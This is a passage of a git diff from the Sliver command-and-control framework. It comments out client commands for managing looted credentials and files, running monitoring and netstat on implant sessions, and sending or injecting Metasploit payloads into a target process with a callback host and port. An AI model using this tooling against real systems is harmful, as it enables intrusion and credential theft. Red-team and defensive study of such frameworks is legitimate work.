+// case clientpb.LootType_LOOT_FILE:
+// displayLootFile(loot)
+// case clientpb.LootType_LOOT_CREDENTIAL:
+// displayLootCredential(loot)
+// }
+
+// if ctx.Flags.String("save") != "" {
+// savedTo, err := saveLootToDisk(ctx, loot)
+// if err != nil {
+// fmt.Printf("Failed to save loot %s\n", err)
+// }
+// if savedTo != "" {
+// fmt.Printf(Info+"Saved loot to %s\n", savedTo)
+// }
+// }
+// }
+
+// func lootAddCredential(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// prompt := &survey.Select{
+// Message: "Choose a credential type:",
+// Options: []string{
+// clientpb.CredentialType_API_KEY.String(),
+// clientpb.CredentialType_USER_PASSWORD.String(),
+// },
+// }
+// credType := ""
+// survey.AskOne(prompt, &credType, survey.WithValidator(survey.Required))
+// name := ctx.Flags.String("name")
+// if name == "" {
+// namePrompt := &survey.Input{Message: "Credential Name: "}
+// fmt.Println()
+// survey.AskOne(namePrompt, &name)
+// fmt.Println()
+// }
+
+// loot := &clientpb.Loot{
+// Type: clientpb.LootType_LOOT_CREDENTIAL,
+// Name: name,
+// Credential: &clientpb.Credential{},
+// }
+
+// switch credType {
+// case clientpb.CredentialType_USER_PASSWORD.String():
+// loot.CredentialType = clientpb.CredentialType_USER_PASSWORD
+// usernamePrompt := &survey.Input{Message: "Username: "}
+// survey.AskOne(usernamePrompt, &loot.Credential.User)
+// passwordPrompt := &survey.Input{Message: "Password: "}
+// survey.AskOne(passwordPrompt, &loot.Credential.Password)
+// case clientpb.CredentialType_API_KEY.String():
+// loot.CredentialType = clientpb.CredentialType_API_KEY
+// usernamePrompt := &survey.Input{Message: "API Key: "}
+// survey.AskOne(usernamePrompt, &loot.Credential.APIKey)
+// }
+
+// loot, err := rpc.LootAdd(context.Background(), loot)
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+
+// fmt.Printf(Info+"Successfully added loot to server (%s)\n", loot.LootID)
+// }
+
+// func displayLootFile(loot *clientpb.Loot) {
+// if loot.File == nil {
+// return
+// }
+// fmt.Println()
+
+// if loot.File.Name != "" {
+// fmt.Printf("%sFile Name:%s %s\n\n", bold, normal, loot.File.Name)
+// }
+// if loot.File.Data != nil && 0 < len(loot.File.Data) {
+// if loot.FileType == clientpb.FileType_TEXT || isText(loot.File.Data) {
+// fmt.Printf(string(loot.File.Data))
+// } else {
+// fmt.Printf("<%d bytes of binary data>\n", len(loot.File.Data))
+// }
+// } else {
+// fmt.Printf("No file data\n")
+// }
+// }
+
+// func displayLootCredential(loot *clientpb.Loot) {
+// fmt.Println()
+// switch loot.CredentialType {
+// case clientpb.CredentialType_USER_PASSWORD:
+// if loot.Credential != nil {
+// fmt.Printf("%s User:%s %s\n", bold, normal, loot.Credential.User)
+// fmt.Printf("%sPassword:%s %s\n", bold, normal, loot.Credential.Password)
+// }
+// if loot.File != nil {
+// displayLootFile(loot)
+// }
+// case clientpb.CredentialType_API_KEY:
+// if loot.Credential != nil {
+// fmt.Printf("%sAPI Key:%s %s\n", bold, normal, loot.Credential.APIKey)
+// }
+// if loot.File != nil {
+// displayLootFile(loot)
+// }
+// case clientpb.CredentialType_FILE:
+// if loot.File != nil {
+// displayLootFile(loot)
+// }
+// default:
+// fmt.Printf("%v\n", loot.Credential) // Well, let's give it our best
+// }
+// }
+
+// // Any loot with a "File" can be saved to disk
+// func saveLootToDisk(ctx *grumble.Context, loot *clientpb.Loot) (string, error) {
+// if loot.File == nil {
+// return "", errors.New("Loot does not contain a file")
+// }
+
+// saveTo := ctx.Flags.String("save")
+// fi, err := os.Stat(saveTo)
+// if err != nil && !os.IsNotExist(err) {
+// return "", err
+// }
+// if err == nil && fi.IsDir() {
+// saveTo = path.Join(saveTo, path.Base(loot.File.Name))
+// }
+// if _, err := os.Stat(saveTo); err == nil {
+// overwrite := false
+// prompt := &survey.Confirm{Message: "Overwrite local file?"}
+// survey.AskOne(prompt, &overwrite, nil)
+// if !overwrite {
+// return "", nil
+// }
+// }
+// err = ioutil.WriteFile(saveTo, loot.File.Data, 0600)
+// return saveTo, err
+// }
+
+// func displayAllLootTable(allLoot *clientpb.AllLoot) {
+// if allLoot == nil || len(allLoot.Loot) == 0 {
+// fmt.Printf(Info + "No loot š\n")
+// return
+// }
+
+// outputBuf := bytes.NewBufferString("")
+// table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+// // Column Headers
+// fmt.Fprintln(table, "Type\tName\tUUID\t")
+// fmt.Fprintf(table, "%s\t%s\t%s\t\n",
+// strings.Repeat("=", len("Type")),
+// strings.Repeat("=", len("Name")),
+// strings.Repeat("=", len("UUID")),
+// )
+// for _, loot := range allLoot.Loot {
+// fmt.Fprintf(table, "%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.LootID)
+// }
+
+// table.Flush()
+// fmt.Printf(outputBuf.String())
+// }
+
+// func displayFileLootTable(allLoot *clientpb.AllLoot) {
+// if allLoot == nil || len(allLoot.Loot) == 0 {
+// fmt.Printf(Info + "No loot š\n")
+// return
+// }
+
+// outputBuf := bytes.NewBufferString("")
+// table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+// // Column Headers
+// fmt.Fprintln(table, "Type\tName\tFile Name\tSize\tUUID\t")
+// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
+// strings.Repeat("=", len("Type")),
+// strings.Repeat("=", len("Name")),
+// strings.Repeat("=", len("File Name")),
+// strings.Repeat("=", len("Size")),
+// strings.Repeat("=", len("UUID")),
+// )
+// for _, loot := range allLoot.Loot {
+// if loot.Type != clientpb.LootType_LOOT_FILE {
+// continue
+// }
+// size := 0
+// name := ""
+// if loot.File != nil {
+// name = loot.File.Name
+// size = len(loot.File.Data)
+// }
+// fmt.Fprintf(table, "%s\t%s\t%s\t%d\t%s\t\n",
+// fileTypeToStr(loot.FileType),
+// loot.Name,
+// name,
+// size,
+// loot.LootID,
+// )
+// }
+
+// table.Flush()
+// fmt.Printf(outputBuf.String())
+// }
+
+// func displayCredentialLootTable(allLoot *clientpb.AllLoot) {
+// if allLoot == nil || len(allLoot.Loot) == 0 {
+// fmt.Printf(Info + "No loot š\n")
+// return
+// }
+
+// outputBuf := bytes.NewBufferString("")
+// table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+// // Column Headers
+// fmt.Fprintln(table, "Type\tName\tUser\tPassword\tAPI Key\tFile Name\tUUID\t")
+// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
+// strings.Repeat("=", len("Type")),
+// strings.Repeat("=", len("Name")),
+// strings.Repeat("=", len("User")),
+// strings.Repeat("=", len("Password")),
+// strings.Repeat("=", len("API Key")),
+// strings.Repeat("=", len("File Name")),
+// strings.Repeat("=", len("UUID")),
+// )
+// for _, loot := range allLoot.Loot {
+// if loot.Type != clientpb.LootType_LOOT_CREDENTIAL {
+// continue
+// }
+// fileName := ""
+// if loot.File != nil {
+// fileName = loot.File.Name
+// }
+// user := ""
+// password := ""
+// apiKey := ""
+// if loot.Credential != nil {
+// user = loot.Credential.User
+// password = loot.Credential.Password
+// apiKey = loot.Credential.APIKey
+// }
+// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
+// credentialTypeToString(loot.CredentialType),
+// loot.Name,
+// user,
+// password,
+// apiKey,
+// fileName,
+// loot.LootID,
+// )
+// }
+// table.Flush()
+// fmt.Printf(outputBuf.String())
+// }
+
+// func selectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) {
+
+// // Fetch data with optional filter
+// filter := ctx.Flags.String("filter")
+// var allLoot *clientpb.AllLoot
+// var err error
+// if filter == "" {
+// allLoot, err = rpc.LootAll(context.Background(), &commonpb.Empty{})
+// if err != nil {
+// return nil, err
+// }
+// } else {
+// lootType, err := lootTypeFromHumanStr(filter)
+// if err != nil {
+// return nil, ErrInvalidFileType
+// }
+// allLoot, err = rpc.LootAllOf(context.Background(), &clientpb.Loot{Type: lootType})
+// if err != nil {
+// return nil, err
+// }
+// }
+
+// // Render selection table
+// buf := bytes.NewBufferString("")
+// table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
+// for _, loot := range allLoot.Loot {
+// fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
+// }
+// table.Flush()
+// options := strings.Split(buf.String(), "\n")
+// options = options[:len(options)-1]
+// if len(options) == 0 {
+// return nil, errors.New("no loot to select from")
+// }
+
+// selected := ""
+// prompt := &survey.Select{
+// Message: "Select a piece of loot:",
+// Options: options,
+// }
+// err = survey.AskOne(prompt, &selected)
+// if err != nil {
+// return nil, err
+// }
+// for index, value := range options {
+// if value == selected {
+// return allLoot.Loot[index], nil
+// }
+// }
+// return nil, errors.New("loot not found")
+// }
+
+// func lootTypeToStr(value clientpb.LootType) string {
+// switch value {
+// case clientpb.LootType_LOOT_FILE:
+// return "File"
+// case clientpb.LootType_LOOT_CREDENTIAL:
+// return "Credential"
+// default:
+// return ""
+// }
+// }
+
+// func credentialTypeToString(value clientpb.CredentialType) string {
+// switch value {
+// case clientpb.CredentialType_API_KEY:
+// return "API Key"
+// case clientpb.CredentialType_USER_PASSWORD:
+// return "User/Password"
+// case clientpb.CredentialType_FILE:
+// return "File"
+// default:
+// return ""
+// }
+// }
+
+// func fileTypeToStr(value clientpb.FileType) string {
+// switch value {
+// case clientpb.FileType_BINARY:
+// return "Binary"
+// case clientpb.FileType_TEXT:
+// return "Text"
+// default:
+// return ""
+// }
+// }
+
+// func lootFileTypeFromHumanStr(value string) (clientpb.FileType, error) {
+// switch strings.ToLower(value) {
+
+// case "b":
+// fallthrough
+// case "bin":
+// fallthrough
+// case "binary":
+// return clientpb.FileType_BINARY, nil
+
+// case "t":
+// fallthrough
+// case "utf-8":
+// fallthrough
+// case "utf8":
+// fallthrough
+// case "txt":
+// fallthrough
+// case "text":
+// return clientpb.FileType_TEXT, nil
+
+// default:
+// return -1, ErrInvalidFileType
+// }
+// }
+
+// func lootTypeFromHumanStr(value string) (clientpb.LootType, error) {
+// switch strings.ToLower(value) {
+
+// case "c":
+// fallthrough
+// case "cred":
+// fallthrough
+// case "creds":
+// fallthrough
+// case "credentials":
+// fallthrough
+// case "credential":
+// return clientpb.LootType_LOOT_CREDENTIAL, nil
+
+// case "f":
+// fallthrough
+// case "files":
+// fallthrough
+// case "file":
+// return clientpb.LootType_LOOT_FILE, nil
+
+// default:
+// return -1, ErrInvalidLootType
+// }
+// }
+
+// // Taken from: https://cs.opensource.google/go/x/tools/+/refs/tags/v0.1.4:godoc/util/util.go;l=69
+
+// // textExt[x] is true if the extension x indicates a text file, and false otherwise.
+// var textExt = map[string]bool{
+// ".css": false, // Ignore as text
+// ".js": false, // Ignore as text
+// ".svg": false, // Ignore as text
+// }
+
+// // isTextFile reports whether the file has a known extension indicating
+// // a text file, or if a significant chunk of the specified file looks like
+// // correct UTF-8; that is, if it is likely that the file contains human-
+// // readable text.
+// func isTextFile(filePath string) bool {
+// // if the extension is known, use it for decision making
+// if isText, found := textExt[path.Ext(filePath)]; found {
+// return isText
+// }
+
+// // the extension is not known; read an initial chunk
+// // of the file and check if it looks like text
+// f, err := os.Open(filePath)
+// if err != nil {
+// return false
+// }
+// defer f.Close()
+
+// var buf [1024]byte
+// n, err := f.Read(buf[0:])
+// if err != nil {
+// return false
+// }
+
+// return isText(buf[0:n])
+// }
+
+// // isText reports whether a significant prefix of s looks like correct UTF-8;
+// // that is, if it is likely that s is human-readable text.
+// func isText(sample []byte) bool {
+// const max = 1024 // at least utf8.UTFMax
+// if len(sample) > max {
+// sample = sample[0:max]
+// }
+// for i, c := range string(sample) {
+// if i+utf8.UTFMax > len(sample) {
+// // last char may be incomplete - ignore
+// break
+// }
+// if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' {
+// // decoding error or control character - not a text file
+// return false
+// }
+// }
+// return true
+// }
diff --git a/client/command/monitor.go b/client/command/monitor.go
index b1ef8f9ed8..d7d08cc8d9 100644
--- a/client/command/monitor.go
+++ b/client/command/monitor.go
@@ -1,50 +1,50 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2021 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "context"
- "fmt"
-
- "github.com/bishopfox/sliver/protobuf/commonpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/desertbit/grumble"
-)
-
-func monitorStartCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- resp, err := rpc.MonitorStart(context.Background(), &commonpb.Empty{})
- if err != nil {
- fmt.Printf(Warn+"%s", err)
- return
- }
- if resp != nil && resp.Err != "" {
- fmt.Printf(Warn+"%s", resp.Err)
- return
- }
- fmt.Printf(Info + "Started monitoring threat intel platforms for implants hashes")
-}
-
-func monitorStopCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- _, err := rpc.MonitorStop(context.Background(), &commonpb.Empty{})
- if err != nil {
- fmt.Printf(Warn+"%s", err)
- return
- }
- fmt.Printf(Info + "Stopped monitoring threat intel platforms for implants hashes")
-}
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2021 Bishop Fox
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
+
+// import (
+// "context"
+// "fmt"
+
+// "github.com/bishopfox/sliver/protobuf/commonpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/desertbit/grumble"
+// )
+
+// func monitorStartCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// resp, err := rpc.MonitorStart(context.Background(), &commonpb.Empty{})
+// if err != nil {
+// fmt.Printf(Warn+"%s", err)
+// return
+// }
+// if resp != nil && resp.Err != "" {
+// fmt.Printf(Warn+"%s", resp.Err)
+// return
+// }
+// fmt.Printf(Info + "Started monitoring threat intel platforms for implants hashes")
+// }
+
+// func monitorStopCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// _, err := rpc.MonitorStop(context.Background(), &commonpb.Empty{})
+// if err != nil {
+// fmt.Printf(Warn+"%s", err)
+// return
+// }
+// fmt.Printf(Info + "Stopped monitoring threat intel platforms for implants hashes")
+// }
diff --git a/client/command/msf.go b/client/command/msf.go
index 55692058a9..9b8f9f2dea 100644
--- a/client/command/msf.go
+++ b/client/command/msf.go
@@ -1,117 +1,117 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "context"
- "fmt"
-
- consts "github.com/bishopfox/sliver/client/constants"
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
-
- "github.com/bishopfox/sliver/client/spin"
-
- "github.com/desertbit/grumble"
-)
-
-func msf(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
-
- payloadName := ctx.Flags.String("payload")
- lhost := ctx.Flags.String("lhost")
- lport := ctx.Flags.Int("lport")
- encoder := ctx.Flags.String("encoder")
- iterations := ctx.Flags.Int("iterations")
-
- if lhost == "" {
- fmt.Printf(Warn+"Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
- return
- }
-
- ctrl := make(chan bool)
- msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
- payloadName, session.OS, session.Arch, lhost, lport)
- go spin.Until(msg, ctrl)
- _, err := rpc.Msf(context.Background(), &clientpb.MSFReq{
- Request: ActiveSession.Request(ctx),
- Payload: payloadName,
- LHost: lhost,
- LPort: uint32(lport),
- Encoder: encoder,
- Iterations: int32(iterations),
- })
- ctrl <- true
- <-ctrl
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- } else {
- fmt.Printf(Info + "Executed payload on target\n")
- }
-}
-
-func msfInject(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
-
- payloadName := ctx.Flags.String("payload")
- lhost := ctx.Flags.String("lhost")
- lport := ctx.Flags.Int("lport")
- encoder := ctx.Flags.String("encoder")
- iterations := ctx.Flags.Int("iterations")
- pid := ctx.Flags.Int("pid")
-
- if lhost == "" {
- fmt.Printf(Warn+"Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
- return
- }
-
- if pid == -1 {
- fmt.Printf(Warn+"Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
- return
- }
-
- ctrl := make(chan bool)
- msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
- payloadName, session.OS, session.Arch, lhost, lport)
- go spin.Until(msg, ctrl)
- _, err := rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
- Request: ActiveSession.Request(ctx),
- Payload: payloadName,
- LHost: lhost,
- LPort: uint32(lport),
- Encoder: encoder,
- Iterations: int32(iterations),
- PID: uint32(pid),
- })
- ctrl <- true
- <-ctrl
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- } else {
- fmt.Printf(Info + "Executed payload on target\n")
- }
-}
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2019 Bishop Fox
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
+
+// import (
+// "context"
+// "fmt"
+
+// consts "github.com/bishopfox/sliver/client/constants"
+// "github.com/bishopfox/sliver/protobuf/clientpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+
+// "github.com/bishopfox/sliver/client/spin"
+
+// "github.com/desertbit/grumble"
+// )
+
+// func msf(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
+
+// payloadName := ctx.Flags.String("payload")
+// lhost := ctx.Flags.String("lhost")
+// lport := ctx.Flags.Int("lport")
+// encoder := ctx.Flags.String("encoder")
+// iterations := ctx.Flags.Int("iterations")
+
+// if lhost == "" {
+// fmt.Printf(Warn+"Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
+// return
+// }
+
+// ctrl := make(chan bool)
+// msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
+// payloadName, session.OS, session.Arch, lhost, lport)
+// go spin.Until(msg, ctrl)
+// _, err := rpc.Msf(context.Background(), &clientpb.MSFReq{
+// Request: ActiveSession.Request(ctx),
+// Payload: payloadName,
+// LHost: lhost,
+// LPort: uint32(lport),
+// Encoder: encoder,
+// Iterations: int32(iterations),
+// })
+// ctrl <- true
+// <-ctrl
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// } else {
+// fmt.Printf(Info + "Executed payload on target\n")
+// }
+// }
+
+// func msfInject(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
+
+// payloadName := ctx.Flags.String("payload")
+// lhost := ctx.Flags.String("lhost")
+// lport := ctx.Flags.Int("lport")
+// encoder := ctx.Flags.String("encoder")
+// iterations := ctx.Flags.Int("iterations")
+// pid := ctx.Flags.Int("pid")
+
+// if lhost == "" {
+// fmt.Printf(Warn+"Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
+// return
+// }
+
+// if pid == -1 {
+// fmt.Printf(Warn+"Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
+// return
+// }
+
+// ctrl := make(chan bool)
+// msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
+// payloadName, session.OS, session.Arch, lhost, lport)
+// go spin.Until(msg, ctrl)
+// _, err := rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
+// Request: ActiveSession.Request(ctx),
+// Payload: payloadName,
+// LHost: lhost,
+// LPort: uint32(lport),
+// Encoder: encoder,
+// Iterations: int32(iterations),
+// PID: uint32(pid),
+// })
+// ctrl <- true
+// <-ctrl
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// } else {
+// fmt.Printf(Info + "Executed payload on target\n")
+// }
+// }
diff --git a/client/command/netstat.go b/client/command/netstat.go
index 3059432f88..2f343c6039 100644
--- a/client/command/netstat.go
+++ b/client/command/netstat.go
@@ -1,99 +1,99 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2021 Bishop Fox
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2021 Bishop Fox
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
-import (
- "context"
- "fmt"
- "net"
- "strings"
+// import (
+// "context"
+// "fmt"
+// "net"
+// "strings"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/protobuf/sliverpb"
- "github.com/desertbit/grumble"
-)
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/bishopfox/sliver/protobuf/sliverpb"
+// "github.com/desertbit/grumble"
+// )
-func netstat(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
+// func netstat(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
- listening := ctx.Flags.Bool("listen")
- ip4 := ctx.Flags.Bool("ip4")
- ip6 := ctx.Flags.Bool("ip6")
- tcp := ctx.Flags.Bool("tcp")
- udp := ctx.Flags.Bool("udp")
+// listening := ctx.Flags.Bool("listen")
+// ip4 := ctx.Flags.Bool("ip4")
+// ip6 := ctx.Flags.Bool("ip6")
+// tcp := ctx.Flags.Bool("tcp")
+// udp := ctx.Flags.Bool("udp")
- netstat, err := rpc.Netstat(context.Background(), &sliverpb.NetstatReq{
- Request: ActiveSession.Request(ctx),
- TCP: tcp,
- UDP: udp,
- Listening: listening,
- IP4: ip4,
- IP6: ip6,
- })
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
- displayEntries(netstat.Entries)
-}
+// netstat, err := rpc.Netstat(context.Background(), &sliverpb.NetstatReq{
+// Request: ActiveSession.Request(ctx),
+// TCP: tcp,
+// UDP: udp,
+// Listening: listening,
+// IP4: ip4,
+// IP6: ip6,
+// })
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+// displayEntries(netstat.Entries)
+// }
-func displayEntries(entries []*sliverpb.SockTabEntry) {
- lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string {
- const IPv4Strlen = 17
- addr := skaddr.Ip
- names, err := net.LookupAddr(addr)
- if err == nil && len(names) > 0 {
- addr = names[0]
- }
- if len(addr) > IPv4Strlen {
- addr = addr[:IPv4Strlen]
- }
- return fmt.Sprintf("%s:%d", addr, skaddr.Port)
- }
+// func displayEntries(entries []*sliverpb.SockTabEntry) {
+// lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string {
+// const IPv4Strlen = 17
+// addr := skaddr.Ip
+// names, err := net.LookupAddr(addr)
+// if err == nil && len(names) > 0 {
+// addr = names[0]
+// }
+// if len(addr) > IPv4Strlen {
+// addr = addr[:IPv4Strlen]
+// }
+// return fmt.Sprintf("%s:%d", addr, skaddr.Port)
+// }
- fmt.Printf("Proto %-23s %-23s %-12s %-16s\n", "Local Addr", "Foreign Addr", "State", "PID/Program name")
- session := ActiveSession.GetInteractive()
- for _, e := range entries {
- p := ""
- if e.Process != nil {
- p = fmt.Sprintf("%d/%s", e.Process.Pid, e.Process.Executable)
- }
- srcAddr := lookup(e.LocalAddr)
- dstAddr := lookup(e.RemoteAddr)
- if e.Process != nil && e.Process.Pid == session.PID && isSliverAddr(dstAddr) {
- fmt.Printf("%s%-5s %-23.23s %-23.23s %-12s %-16s%s\n",
- green, e.Protocol, srcAddr, dstAddr, e.SkState, p, normal)
- } else {
- fmt.Printf("%-5s %-23.23s %-23.23s %-12s %-16s\n",
- e.Protocol, srcAddr, dstAddr, e.SkState, p)
- }
- }
-}
+// fmt.Printf("Proto %-23s %-23s %-12s %-16s\n", "Local Addr", "Foreign Addr", "State", "PID/Program name")
+// session := ActiveSession.GetInteractive()
+// for _, e := range entries {
+// p := ""
+// if e.Process != nil {
+// p = fmt.Sprintf("%d/%s", e.Process.Pid, e.Process.Executable)
+// }
+// srcAddr := lookup(e.LocalAddr)
+// dstAddr := lookup(e.RemoteAddr)
+// if e.Process != nil && e.Process.Pid == session.PID && isSliverAddr(dstAddr) {
+// fmt.Printf("%s%-5s %-23.23s %-23.23s %-12s %-16s%s\n",
+// green, e.Protocol, srcAddr, dstAddr, e.SkState, p, normal)
+// } else {
+// fmt.Printf("%-5s %-23.23s %-23.23s %-12s %-16s\n",
+// e.Protocol, srcAddr, dstAddr, e.SkState, p)
+// }
+// }
+// }
-func isSliverAddr(dstAddr string) bool {
- parts := strings.Split(dstAddr, ":")
- if len(parts) != 3 {
- return false
- }
- c2Addr := strings.Split(ActiveSession.GetInteractive().ActiveC2, "://")[1]
- return strings.Join(parts[:2], ":") == c2Addr
-}
+// func isSliverAddr(dstAddr string) bool {
+// parts := strings.Split(dstAddr, ":")
+// if len(parts) != 3 {
+// return false
+// }
+// c2Addr := strings.Split(ActiveSession.GetInteractive().ActiveC2, "://")[1]
+// return strings.Join(parts[:2], ":") == c2Addr
+// }
diff --git a/client/command/operators.go b/client/command/operators.go
index e62e6fe333..134e9b8687 100644
--- a/client/command/operators.go
+++ b/client/command/operators.go
@@ -1,89 +1,89 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2019 Bishop Fox
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
-import (
- "bytes"
- "context"
- "fmt"
- "strings"
- "text/tabwriter"
+// import (
+// "bytes"
+// "context"
+// "fmt"
+// "strings"
+// "text/tabwriter"
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/protobuf/commonpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/bishopfox/sliver/protobuf/clientpb"
+// "github.com/bishopfox/sliver/protobuf/commonpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/desertbit/grumble"
-)
+// "github.com/desertbit/grumble"
+// )
-func operatorsCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
